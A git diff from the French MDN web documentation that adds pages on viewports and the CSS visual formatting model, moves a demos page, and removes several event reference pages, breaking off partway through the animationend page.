  • Pour les écrans les plus grands où les applications ne sont pas nécessairement en plein écran, la zone d'affichage mesure la taille de la fenêtre du navigateur
    • +
  • Sur la plupart des appareils mobiles ou lorsque le navigateur est en plein écran, la zone d'affichage correspond à l'ensemble de l'écran
    • +
+ +

En mode plein écran, la zone d'affichage sera l'écran de l'appareil, la fenêtre du navigateur pourra être plus grande ou plus petite que la zone d'affichage et le document sera le site web consulté et qui peut être plus grand ou plus large que la zone d'affichage.

+ +

Pour résumer, la zone d'affichage est la zone du document actuellement visible à l'écran.

+ +

Les dimensions de la zone d'affichage sont modifiables

+ +

La largeur de la zone d'affichage n'est pas toujours la largeur de la fenêtre. Si vous accédez à la largeur et à la hauteur de la fenêtre et à celles du document avec Chrome ou Firefox, vous pourrez obtenir un résultat comme celui-ci :

+ +
document.documentElement.clientWidth /* 1200 */
+window.innerWidth /* 1200 */
+window.outerWidth /* 1200 */
+
+ +
document.documentElement.clientHeight /* 800 */
+window.innerHeight /* 800 */
+window.outerHeight /* 900 */
+
+ +

Il existe plusieurs propriétés du DOM qui permettent d'obtenir la taille de la zone d'affichage et certaines dimensions associées :

+ +
    +
  • La propriété du document {{DOMxRef("Element.clientWidth")}} est la largeur interne du document, exprimée en pixels CSS, et inclut le remplissage (padding) mais pas les marges, les bordures et les barres de défilement. C'est la largeur de la zone d'affichage.
    • +
  • La propriété {{DOMxRef("Window.innerWidth")}} correspond à la largeur, exprimée en pixels CSS, de la zone d'affichage dans la fenêtre du navigateur qui contient les éventuelles barres de défilement verticales.
    • +
  • La propriété {{DOMxRef("Window.outerWidth")}} correspond à la largeur extérieure de la fenêtre du navigateur et qui contient l'ensemble du chrome (les éléments d'interface utilisateur du navigateur qui ne sont pas ceux de la page web consultée).
    • +
+ +

Dans l'exemple précédent, on peut voir que innerWidth et outerWidth ont la même valeur mais que outerHeight mesure 100 pixels de plus que innerHeight. En effet, outerHeight tient compte du chrome du navigateur et les mesures ont été effectuées avec un navigateur dont la barre d'adresse, les onglets et la barre de favoris mesuraient ensemble 100 pixels de haut. En revanche, il n'y avait pas de chrome à gauche ou à droite de la fenêtre.

+ +

La zone contenu entre innerHeight et innerWidth correspond à la zone d'affichage pour la disposition (layout viewport). Le chrome du navigateur ne fait pas partie de la zone d'affichage.

+ +

Lorsqu'on zoome, FIrefox et Chrome renvoient une nouvelle taille, en pixels CSS, pour innerWidth et clientWidth. Les valeurs renvoyées pour outerWidth et outerHeight dépendent du navigateur : Firefox rapporte la nouvelle valeur en pixels CSS et Chrome renvoie la longueur exprimée avec la taille par défaut d'un pixel. Lorsqu'on a zoomé, on pourra obtenir :

+ +
document.documentElement.clientWidth /* 800 */
+window.innerWidth /* 800 */
+window.outerWidth /* 800 dans Firefox, 1200 dans Chrome */
+
+ +
document.documentElement.clientHeight /* 533 */
+window.innerHeight /* 533 */
+window.outerHeight /* 596 dans Firefox, 900 dans Chrome */
+
+ +

La zone d'affichage mesurait initialement 1200 x 800 pixels. Après le zoom, la zone d'affichage mesure 800 x 533 pixels. C'est la zone d'affichage pour la disposition. Avec la feuille de style suivante, les hauts et pieds de page seront placés en haut et en bas de la zone d'affichage pour la disposition.

+ +
body > header {
+  position: fixed;
+  top: 0;
+}
+body > footer {
+  position: fixed;
+  bottom: 0;
+}
+
+ +

On a mesuré 800 x 533 après avoir zoomé à l'aide du clavier. Le haut et le bas de page ont suivi le haut et le bas de la fenêtre. Mais que ce serait-il passé si on avait zoomé au doigt sur une tablette ? Que se serait-il passé si un clavier tactile logiciel s'était ouvert sur le bas du téléphone ?

+ +

Dans le contexte du Web, on parle de deux zones d'affichage : la zone d'affichage pour la disposition (layout viewport) et la zone d'affichage visuelle (visual viewport). La zone d'affichage visuelle est la partie de la page web qui est actuellement visible dans le navigateur et qui peut changer. Lorsqu'un utilisateur zoome en pinçant, provoque l'ouverture d'un clavier tactile ou lorsqu'une barre d'adresse s'affiche, la zone d'affichage visuelle se réduit mais la zone d'affichage pour la disposition reste inchangée.

+ +

Les hauts et bas de pages vus dans l'exemple précédent se caleront en haut et en bas de la zone d'affichage pour la disposition. Aussi, ils resteront visibles lorsqu'on zoome au clavier mais pourrait être masqués (partiellement ou complètement) par un clavier visuel : autrement dit, ils pourraient ne pas faire partie de la zone d'affichage visuelle.

+ +

La zone d'affichage visuelle correspond à la partie de l'écran qui est visible sans contenir les claviers visuels, les zones en dehors de la région zoomée ou toute autre partie qui ne suit pas les dimensions d'une page. Ainsi, la zone d'affichage visuelle pourra avoir la même taille ou être plus petite que la zone d'affichage pour la disposition.

+ +

Pour une page contenant des iframes, des objets ou des SVG externes, chaque page imbriquée et chaque fichier inclus possède son propre objet pour la fenêtre. Seule la fenêtre de plus haut niveau possède une zone d'affichage visuelle qui peut être différente de la zone d'affichage pour la disposition. Pour les éléments imbriqués, la zone d'affichage visuelle et la zone d'affichage pour la disposition sont identiques.

+ +

CSS

+ +

La zone d'affichage pour la disposition et la zone d'affichage visuelle mentionnées jusqu'à présent ne sont pas les seules zones d'affichages à considérer. Toute zone d'affichage imbriquée, pleinement ou partiellement affichée dans la zone d'affichage pour la disposition sera considérée comme une zone d'affichage visuelle.

+ +

On pense généralement que les hauteurs et largeurs utilisées pour les requêtes média correspondent à la hauteur et à la largeur de la fenêtre du navigateur mais elles correspondent en réalité à la taille de la zone d'affichage (la fenêtre pour le document principal ou les dimensions intrinsèques des objets imbriqués). En CSS, on peut également utiliser des unités proportionnelles aux dimensions de la zone d'affichage. Un vh correspond à 1% de la hauteur de la zone d'affichage pour la disposition et vw mesurera, de façon analogue, 1% de la largeur de la zone d'affichage pour la disposition.

+ +

<iframe>

+ +

À l'intérieur d'une iframe, la zone d'affichage visuelle est mesurée comme la largeur et la hauteur internes de l'iframe et non comme celles du document parent. Il est possible de définir n'importe quelle hauteur et largeur pour une iframe mais le document pourra ne pas être visible dans son intégralité.

+ +

Si on utilise les unités de longueur relatives à la zone d'affichage pour la mise en forme du document situé dans l'iframe, 1vh correspondra à 1% de la hauteur de l'iframe et 1vw correspondra à 1% de la largeur du document imbriqué.

+ +
iframe {
+  width: 50vw;
+}
+
+ +

Si l'iframe est dimensionnée à 50vw, elle mesurera 50% de large des 1200px du document parent (soit 600px). À l'intérieur de cette iframe, 1vw correspondra donc à 6px. Lorsqu'on zoomera, l'iframe se réduira à 400px de large et 1vw correspondra alors à 4px.

+ +

Lorsqu'on utilise une requête média à l'intérieur du document de l'iframe, les dimensions utilisées sont relatives à la zone d'affichage de l'iframe.

+ +
@media screen and (min-width: 500px) {
+  p {
+    color: red;
+  }
+}
+
+ +

Si le fragment de code CSS était inclus dans l'iframe, les paragraphes seraient rouges avec un zoom utilisateur et normaux sinon.

+ +

SVG

+ +

Pour un document SVG, la zone d'affichage correspond à la partie de l'image SVG qui est visible à l'écran. On peut définir n'importe quelle hauteur et largeur sur un SVG mais l'image pourra ne pas être entièrement visible. La taille de la zone d'affichage pourra être définie à l'aide des attributs width et height de l'élément {{SVGElement("svg")}}.

+ +
<svg height="300" width="400"></svg>
+ +

Dans cet exemple, la zone d'affichage possède un ratio de 3::4 et mesure 400 x 300 unités (où les unités par défaut sont généralement des pixels CSS).

+ +

SVG possède un système de coordonnées interne qui est défini grâce à l'attribut viewbox mais qui n'est pas directement lié à la problématique des zones d'affichage.

+ +

Si on inclut un fichier SVG dans un document HTML, la zone d'affichage pour le SVG sera le bloc englobant initial ou la largeur et la hauteur du conteneur SVG. Si on utilise une requête média {{CSSxRef("@media")}} dans le code CSS du SVG, celle-ci sera relative à la taille du conteneur et pas à celle de la zone d'affichage du document.

+ +
@media screen and (min-width: 400px) and (max-width: 500px) {
+  /* styles CSS ici */
+}
+ +

Lorsqu'on utilise la requête média précédente, les styles sont généralement appliqués lorsque la fenêtre du navigateur mesure entre 400px et 500px de large. Lorsqu'on utilise cette même requête à l'intérieur d'un document SVG, ce sera la largeur du conteneur (l'élément {{htmlelement("img")}} par exemple ou l'élément parent) qui sera considérée. Autrement dit, si on utilise la requête média précédente sur un document SVG, les styles seront appliqués si le conteneur du SVG mesure entre 400 et 500 pixels.

+ +

JavaScript

+ +

L'API Visual Viewport fournit des outils pour récupérer et modifier les propriétés de la zone d'affichage visuelle.

+ +

Zones d'affichage sur mobiles

+ +

Il existe une grande variété de tailles et de proportions pour les appareils mobiles. La zone d'affichage d'un navigateur mobile est la zone de la fenêtre sur laquelle le contenu web peut être consulté et cette zone n'a pas nécessairement la même taille que la page affichée. Les navigateurs mobiles affichent les pages sur une zone d'affichage virtuelle (mesurant généralement 960px) plus large que l'écran puis réduisent le résultat afin que l'utilisateur puisse voir l'ensemle du document. L'utilisateur peut alors se déplacer ou zoomer au doigt pour accéder aux différentes zones de la page. Ainsi, si un appareil mobile a un écran large de 320px, un site web pourra être affiché selon une zone d'affichage virtuelle sur 960px puis réduit afin de pouvoir s'inscrire dans l'espace large de 320px. Le résultat ainsi obtenu risque peu d'être lisible. Pour indiquer à un navigateur mobile d'utiliser la largeur de la zone d'affichage réelle plutôt que la largeur virtuelle de 960px, on pourra placer la balise <meta> suivante :

+ +
<meta name="viewport" content="width=device-width">
+ +

La propriété width contrôle la taille de la zone d'affichage et on l'utilisera généralement avec device-width qui correspond à la largeur de l'écran, exprimée en pixels CSS, avec un zoom de 100%. Il est possible d'utiliser d'autres propriétés comme maximum-scale, minimum-scale et user-scalable afin de contrôler si l'utilisateur peut zoomer/dézoomer sur la page mais les valeurs par défaut restent les meilleures en termes d'accessibilité et d'ergonomie et ne seront pas plus abordées ici par souci de concision.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/visual_formatting_model/index.html b/files/fr/web/css/visual_formatting_model/index.html new file mode 100644 index 0000000000..d9ac8b3f09 --- /dev/null +++ b/files/fr/web/css/visual_formatting_model/index.html @@ -0,0 +1,179 @@ +--- +title: Modèle de mise en forme visuelle +slug: Web/CSS/Modèle_de_mise_en_forme_visuelle +tags: + - CSS + - Intermédiaire + - NeedsUpdate +translation_of: Web/CSS/Visual_formatting_model +--- +
{{CSSRef}}
+ +

En CSS, le modèle de mise en forme visuelle est un algorithme qui traite un document afin de l'afficher sur un support visuel. Chaque élément du document est ainsi transformé en zéro, une ou plusieurs boîtes qui s'inscrivent dans le modèle de boîtes CSS. La disposition de chaque boîte est dictée par :

+ +
    +
  • Les dimensions de la boîte qui peuvent être définies explicitement, contraintes ou non
    • +
  • Le type de la boîte : en ligne, en ligne et de niveau (inline-level), atomique, en bloc
    • +
  • Le mode de positionnement : dans le flux normal, en flottement ou positionnée de façon absolue
    • +
  • Les autres éléments présents dans l'arbre du document et notamment ses enfants et ses voisins
    • +
  • La taille et la position de la zone d'affichage (viewport)
    • +
  • Les dimensions intrinsèques des images qu'elle contient
    • +
  • Éventuellement d'autres informations externes.
    • +
+ +

Le modèle affiche une boîte par rapport au bord du bloc qui la contient. Généralement, une boîte devient le bloc contenant pour ses éléments descendants. Toutefois, une boîte n'est pas contrainte dans son bloc contenant, le contenu d'une boîte peut parfois dépasser (ce qu'on appelle en anglais overflow).

+ +

Génération de la boîte

+ +

Lors de cette étape, on crée les boîtes à partir des éléments du document. Les boîtes générées sont de différents types et ces types ont un impact sur la mise en forme visuelle. Le type de boîte générée dépend de la valeur de la propriété {{cssxref("display")}}.

+ +

Les éléments de bloc et les boîtes de bloc

+ +

Un élément est dit « de bloc » lorsque la valeur calculée de la propriété {{cssxref("display")}} qui lui est appliquée vaut : block, list-item ou table. Un élément de bloc est représenté sous la forme d'un bloc (comme un paragraphe par exemple) et les blocs sont empilés verticalement les uns sur les autres.

+ +

Chaque boîte de bloc contribue au contexte de mise en forme des blocs. Chaque élément de bloc génère au moins une boîte de niveau bloc, qu'on appelle la boîte de bloc principale. Certains éléments (comme les éléments d'une liste par exemple) génèrent d'autres boîtes afin de gérer les puces ou d'autres éléments typographiques.

+ +

La boîte de bloc principale contient les boîtes générées par les descendants ete le contenu généré. Cette boîte participe au schéma de positionnement.

+ +

venn_blocks.png

+ +

Une boîte de bloc peut également un conteneur de blocs. Un conteneur de blocs est une boîte qui ne contient que d'autres boîtes de bloc ou qui crée un contexte de formatage en ligne et qui ne contient alors que des boîtes en ligne. Attention, les notions de boîtes de bloc et de conteneurs de blocs ne sont pas identiques. La première décrit la façon dont la boîte se comporte avec ses parents et ses voisins et le seconde définit la façon dont elle interagit avec ses descendants. Certaines boîtes de blocs, telles que les tableaux, ne sont pas des conteneurs de blocs. Réciproquement, certains conteneurs de blocs (tels que les cellules de tableau non remplacées) ne sont pas des boîtes de bloc.

+ +

Les boîtes de bloc qui sont également des conteneurs de blocs sont appelées des boîtes-bloc.

+ +

Les boîtes de bloc anonymes

+ +

Dans certains cas, l'algorithme doit ajouter certaines boîtes supplémentaires. Or, les sélecteurs CSS ne permettent pas de mettre en forme ou de nommer ces boîtes, elles sont donc appelées boîtes de bloc anonymes.

+ +

Les sélecteurs ne permettent pas de manipuler la mise en forme de ces boîtes. Aussi, pour ces boîtes, toutes les propriétés CSS utilisant l'héritage auront la valeur {{cssxref("inherit")}} et toutes les propriétés CSS qui ne sont pas héritées auront la valeur initial.

+ +

Les boîtes qui contiennent des blocs ne contiennent que des boîtes en ligne ou que des boîtes en blocs. Mais souvent, le document contient un mélange des deux. Dans ces cas, des boîtes de bloc anonymes sont créées autour des boîtes en lignes adjacentes.

+ +

Si on prend le code HTML suivant, mis en forme avec les règles par défaut (display:block) :

+ +
<div>
+   Some inline text
+   <p>followed by a paragraph</p>
+   followed by more inline text.
+</div>
+
+ +

On aura deux boîtes de bloc anonymes qui seront créées : une pour le texte avant le paragraphe et une pour le texte après. On aura alors la structure suivante :
+   anonymous_block-level_boxes.png

+ +

À la différence de la boîte des éléments {{HTMLElement("p")}}, les développeurs ne peuvent pas contrôler la mise en forme des boîtes anonymes. Les propriétés qui héritent des éléments parents récupèreront la valeur obtenue pour l'élément {{HTMLElement("div")}} et les autres propriétés auront la valeur initial.

+ +

Un autre scénario peut amener à la création de boîtes de bloc anonyme : lorsqu'une boîte en ligne contient une ou plusieurs boîtes de bloc. Dans ce cas, la boîte qui contient la boîte de bloc est divisée en deux boîtes en ligne : une avant et une après la boîte de bloc. Toutes les boîtes en ligne avant la boîte de bloc sont englobées dans une boîte de bloc anonyme et il en va de même pour les boîtes en ligne qui suivent la boîte de bloc. Aussi, la boîte de bloc devient un voisin de deux boîtes de bloc anonymes qui contiennent les éléments en ligne.

+ +

S'il y a plusieurs boîtes de bloc sans contenu en ligne entre elles, les boîtes de bloc anonymes sont créées avant et après ces boîtes.

+ +

Si on prend le code HTML suivant, pour lequel {{HTMLElement("p")}} aura display:inline et {{HTMLElement("span")}} aura display:block :

+ +
<p>
+  Some <em>inline</em> text
+  <span>followed by a paragraph</span>
+  followed by more inline text.
+</p>
+ +

Deux boîtes de bloc anonymes sont créées : une pour le texte avant l'élément <span> et une pour le texte qui suit cet élément. On a alors la structure suivante :

+ +

+ +

Les éléments en ligne et les boîtes en ligne

+ +

Un élément est dit « en ligne » lorsque la valeur de sa propriété CSS {{cssxref("display")}} vaut : inline, inline-block ou inline-table. Visuellement, un tel élément est organisé sur des lignes qui se suivent les unes les autres avec d'autre contenu en ligne. Généralement, il s'agit du contenu d'un paragraphe (éventuellement mis en forme).

+ +

Les éléments en ligne génèrent des boîtes en lignes qui contribuent au contexte de mise en forme en ligne.

+ +

Les boîtes en lignes atomiques ne peuvent pas être divisées en plusieurs lignes au sein d'un contexte de mise en forme.

+ +
<style>
+  span {
+    /* La valeur par défaut */
+    display:inline;
+  }
+</style>
+<div style="width:20em;">
+   Le texte dans le span <span>peut être divisé
+   en plusieurs lignes</span> dans une boîte en
+   ligne.
+</div>
+
+ +
<style>
+  span {
+    display:inline-block;
+  }
+</style>
+<div style="width:20em;">
+   Le texte dans le span <span>ne peut pas être
+   divisé en plusieurs lignes car</span> il est
+   dans une boîte de type inline-block.
+</div>
+
+ +

Les boîtes en ligne anonymes

+ +

Comme pour les boîtes de bloc, il existe quelques cas pour lesquels des boîtes en lignes sont automatiquement créées par le moteur CSS. Ces boîtes en ligne sont également anonymes et ne peuvent être ciblées par les sélecteurs. Pour les propriétés qui fonctionnent avec l'héritage, ces boîtes hériteront de la valeur de la propriété relative à l'élément parent, pour les autres, elles vaudront initial.

+ +

La plupart du temps, une boîte en ligne anonyme est créée lorsque du texte se trouve être un enfant direct d'une boîte en bloc, ce qui crée un contexte de mise en forme en ligne. Dans ce cas, le texte est inclus dans la plus grande boîte en ligne qui puisse être et c'est cette boîte qui est la boîte anonyme. Par ailleurs, le contenu blanc qui serait retiré par la propriété {{cssxref("white-space")}} ne génère pas de boîtes en ligne car celles-ci seraient vides.

+ +

Les autres types de boîte

+ +

Les boîtes de ligne

+ +

Les boîtes de ligne sont générées dans un contexte de mise en forme en ligne afin de représenter une ligne de texte. Au sein d'une boîte en bloc, un boîte de ligne s'étend d'un bord à l'autre de la boîte. Lorsqu'il y a une disposition flottante, la boîte de ligne démarre au bord le plus à droite de la partie flottante qui est située à gauche et finit à la droite du bord gauche suivant.

+ +

Ces boîtes sont uniquement utilisées par le moteur et les développeurs web ne devraient pas avoir à s'en préoccuper.

+ +

Les types de boîtes liés au modèle CSS

+ +

En plus des boîtes en ligne et des boîtes de bloc, CSS définit plusieurs autres modèles de contenu qui peuvent être appliqués aux éléments. Ces modèles définissent des types de boîtes supplémentaires :

+ +
    +
  • Le modèle de contenu pour les tableaux utilise des boîtes englobant les tableaux, des boîtes de tableau et des boîtes de légende
    • +
  • Le modèle de contenu à plusieurs colonnes permet de créer des boîtes de colonne entre la boîte englobante et le contenu.
    • +
  • Les modèles de contenu expérimentaux en grille (CSS Grid) ou avec les boîtes flexibles (flexbox) définissent d'autres types de boîtes.
    • +
+ +

Modes de positionnement

+ +

Une fois les boîtes générées, le moteur CSS doit les disposer les unes par rapport aux autres. Pour ce faire, il utilise un des algorithmes suivants :

+ +
    +
  • Le mode de positionnement normal positionne les boîtes les unes après les autres
    • +
  • Le mode de positionnement flottant permet d'extraire une boîte du flux normal et de la placer sur le côté de la boîte englobante
    • +
  • Le mode de positionnement absolu permet de placer une boîte dans un système de coordonnées absolues, basée sur l'élément englobant. Un élément positionné de façon absolue peut recouvrir d'autres éléments.
    • +
+ +

Le mode normal

+ +

Dans le mode de positionnement normal, les boîtes sont disposées les unes après les autres. Pour un contexte de mise en forme de bloc, elles seront empilées verticalement et pour un contexte de mise en forme en ligne, elles se suivront horizontalement. Le mode de disposition normal est déclenché lorsque la propriété CSS {{cssxref("position")}} vaut static ou relative et si la propriété CSS {{cssxref("float")}} vaut none.

+ +

On a deux cas de figure pour le mode normal : le positionnement statique et le positionnement relatif.

+ +
    +
  • En positionnement statique (obtenu avec la valeur static pour la propriété {{cssxref("position")}}), les boîtes sont dessinées à l'emplacement exact dicté par le flux normal.
    • +
  • En positionnement relatif (obtenu lorsque la propriété {{cssxref("position")}} vaut relative), les boîtes sont dessinées avec un décalage défini par les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.
    • +
+ +

Le mode flottant

+ +

Avec le mode de positionnement flottant, certaines boîtes sont placées au début ou à la fin de ligne courante. Le texte (et tout ce qui se trouve dans le flux normal) épouse donc le contour des boîtes flottantes (sauf si la propriété {{cssxref("clear")}} dicte un autre comportement).

+ +

Pour qu'une boîte soit une boîte flottante, on utilisera la propriété {{cssxref("float")}} avec une valeur différente de none et la propriété {{cssxref("position")}} avec static ou relative. Si {{cssxref("float")}} vaut left, la boîte flottante sera positionnée au début de la ligne de la boîte englobante et si elle vaut right, elle sera à la fin de la ligne.

+ +

Le mode absolu

+ +

En mode absolu, les boîtes sont entièrement retirées du flux normal et n'interagissent plus avec le flux. Elles sont positionnées de façon relative à leur bloc englobant grâce aux propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.

+ +

Un élément est positionné de façon absolue lorsque la propriété {{cssxref("position")}} vaut absolute ou fixed.

+ +

Pour un élément positionné de façon fixe, le bloc englobant sera la zone d'affichage (viewport) et la position de l'élément est absolue par rapport à la zone d'affichage. Faire défiler le contenu ne modifie pas la position de l'élément.

+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/\303\251l\303\251ment_remplac\303\251/index.html" "b/files/fr/web/css/\303\251l\303\251ment_remplac\303\251/index.html" deleted file mode 100644 index eaa2f4d82a..0000000000 --- "a/files/fr/web/css/\303\251l\303\251ment_remplac\303\251/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Élément remplacé -slug: Web/CSS/Élément_remplacé -tags: - - CSS - - Reference -translation_of: Web/CSS/Replaced_element ---- -
{{CSSRef}}
- -

En CSS, un élément remplacé est un élément dont la représentation est en dehors du champ de CSS. Ce sont des objets externes dont la représentation sera indépendante de CSS.

- -

Autrement dit, ces éléments sont des éléments dont le contenu n'est pas impacté par les styles du documents. La position de l'élément remplacé peut être modifiée avec CSS mais le contenu même de l'élément ne pourra pas être modifiée. Certains éléments remplacés comme {{HTMLElement("iframe")}} peuvent avoir leurs propres feuilles de styles mais ils n'héritent pas de celles du document parent.

- -

Éléments remplacés

- -

Les éléments remplacés caractéristiques sont :

- -
    -
  • {{HTMLElement("img")}},
    • -
  • {{HTMLElement("object")}},
    • -
  • {{HTMLElement("video")}},
    • -
  • {{HTMLElement("iframe")}}
    • -
  • les éléments {{HTMLElement("input")}} de type image
    • -
- -

Par ailleurs, certains éléments comme :

- -
    -
  • {{HTMLElement("option")}}
    • -
  • {{HTMLElement("audio")}}
    • -
  • {{HTMLElement("canvas")}}
    • -
  • {{HTMLElement("object")}}
    • -
  • {{HTMLElement("applet")}}
    • -
- -

sont des éléments remplacés dans certains cas spécifiques. De même un élément {{HTMLElement("input")}} peut être un élément remplacé dans certains cas (lorsqu'il est de type "image" notamment).

- -

Les objets insérés grâce aux propriétés CSS {{cssxref("content")}} sont des éléments remplacés anonymes (on les qualifie d'anonymes car ils n'existent pas dans la structure du HTML).

- -

Utiliser CSS avec les éléments remplacés

- -

Les éléments remplacés sont manipulés de façon spécifique par le moteur CSS, notamment pour le calcul des marges extérieures et certaines valeurs auto.

- -

On notera que certains éléments remplacés ont des dimensions intrinsèques ou une ligne de base définie, qui sont utilisées par des propriétés CSS comme {{cssxref("vertical-align")}}.

- -

Contrôler la position des objets au sein de la boîte de contenu

- -

Certaines propriétés CSS permet d'indiquer la façon dont l'objet contenu dans l'élément remplacé doit occuper la boîte de l'élément. Ces propriétés sont définies dans les spécifications {{SpecName("CSS3 Images")}} et {{SpecName("CSS4 Images")}} :

- -
-
{{cssxref("object-fit")}}
-
Indique la façon dont le contenu de l'élément remplacé doit s'inscrire dans la boîte de l'élément et comment il doit être redimensionné si besoin.
-
{{cssxref("object-position")}}
-
Indique l'alignement du contenu de l'élément remplacé dans la boîte de l'élément.
-
- -

Voir aussi

- - diff --git a/files/fr/web/demos_of_open_web_technologies/index.html b/files/fr/web/demos_of_open_web_technologies/index.html new file mode 100644 index 0000000000..3e2c7b1783 --- /dev/null +++ b/files/fr/web/demos_of_open_web_technologies/index.html @@ -0,0 +1,168 @@ +--- +title: Démos de technologies open web +slug: Web/Démos_de_technologies_open_web +translation_of: Web/Demos_of_open_web_technologies +--- +

Mozilla supporte une large gamme de technologies open web vraiment intéressantes, et nous encourageons leur utilisation. Cette page offre des liens vers d'intéressantes démonstrations de ces technologies. Si vous avez entendu parler d'une bonne démonstration ou d'une application de technologie open web, veuillez ajouter un lien vers la section appropriée ici.

+ +

Graphiques 2D

+ +

APNG

+ + + +

Canvas

+ + + +

SVG

+ + + +

Vidéos

+ + + +

Graphiques 3D

+ +

WebGL

+ + + +

Réalité Virtuelle

+ + + +

Réalité augmentée

+ + + +

CSS

+ + + +

Transformations

+ + + +

Jeux

+ + + +

HTML

+ + + +

APIs Web

+ +
    +
+ +

API de Notifications

+ + + +
    +
+ +

API Web Audio

+ + + +

API de Fichier

+ + + +

Ouvriers du Web

+ + diff --git "a/files/fr/web/d\303\251mos_de_technologies_open_web/index.html" "b/files/fr/web/d\303\251mos_de_technologies_open_web/index.html" deleted file mode 100644 index 3e2c7b1783..0000000000 --- "a/files/fr/web/d\303\251mos_de_technologies_open_web/index.html" +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Démos de technologies open web -slug: Web/Démos_de_technologies_open_web -translation_of: Web/Demos_of_open_web_technologies ---- -

Mozilla supporte une large gamme de technologies open web vraiment intéressantes, et nous encourageons leur utilisation. Cette page offre des liens vers d'intéressantes démonstrations de ces technologies. Si vous avez entendu parler d'une bonne démonstration ou d'une application de technologie open web, veuillez ajouter un lien vers la section appropriée ici.

- -

Graphiques 2D

- -

APNG

- - - -

Canvas

- - - -

SVG

- - - -

Vidéos

- - - -

Graphiques 3D

- -

WebGL

- - - -

Réalité Virtuelle

- - - -

Réalité augmentée

- - - -

CSS

- - - -

Transformations

- - - -

Jeux

- - - -

HTML

- - - -

APIs Web

- -
    -
- -

API de Notifications

- - - -
    -
- -

API Web Audio

- - - -

API de Fichier

- - - -

Ouvriers du Web

- - diff --git a/files/fr/web/events/abort/index.html b/files/fr/web/events/abort/index.html deleted file mode 100644 index 68e28e9626..0000000000 --- a/files/fr/web/events/abort/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: abort -slug: Web/Events/abort -translation_of: Web/API/HTMLMediaElement/abort_event -translation_of_original: Web/Events/abort ---- -
L'événement abort est déclenché lorsque le chargement d'une resource a été interrompu.
- -
 
- -

Informations générales

- -
-
Spécification
-
DOM L3
-
Interface
-
UIEvent si généré à partir de l'interface utilisateur sinon, Event.
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
Element
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
diff --git a/files/fr/web/events/abort_(progressevent)/index.html b/files/fr/web/events/abort_(progressevent)/index.html deleted file mode 100644 index 0585331ebe..0000000000 --- a/files/fr/web/events/abort_(progressevent)/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: abort -slug: Web/Events/abort_(ProgressEvent) -translation_of: Web/API/XMLHttpRequest/abort_event ---- -

L'événement abort est déclenché lorsque la progression a été interompue (Non causé par une erreur)

- -

Informations générales

- -
-
Spécification
-
Progress
-
Interface
-
ProgressEvent
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
Element
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
- -

Evénements liés

- -
    -
  • {{event("loadstart")}}
    • -
  • {{event("progress")}}
    • -
  • {{event("error")}}
    • -
  • {{event("abort")}}
    • -
  • {{event("load")}}
    • -
  • {{event("loadend")}}
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/events/afterprint/index.html b/files/fr/web/events/afterprint/index.html deleted file mode 100644 index bb62ef775d..0000000000 --- a/files/fr/web/events/afterprint/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: afterprint -slug: Web/Events/afterprint -translation_of: Web/API/Window/afterprint_event ---- -

L'événement afterprint est déclenché après que le document associé a été imprimé ou que l'aperçu avant impression a été fermé.

- -

Informations générales

- -
-
Spécification
-
HTML5
-
Interface
-
Event
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
DefaultView (<window>)
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

Evénements liés

- - diff --git a/files/fr/web/events/animationend/index.html b/files/fr/web/events/animationend/index.html deleted file mode 100644 index 1fdeba6e63..0000000000 --- a/files/fr/web/events/animationend/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: animationend -slug: Web/Events/animationend -translation_of: Web/API/HTMLElement/animationend_event ---- -

L'événement animationend est déclenché quand une animation CSS est terminée.

- -

Informations générales

- -
-
Spécification
-
CSS Animations
-
Interface
-
AnimationEvent
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
Document, Element, Window
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
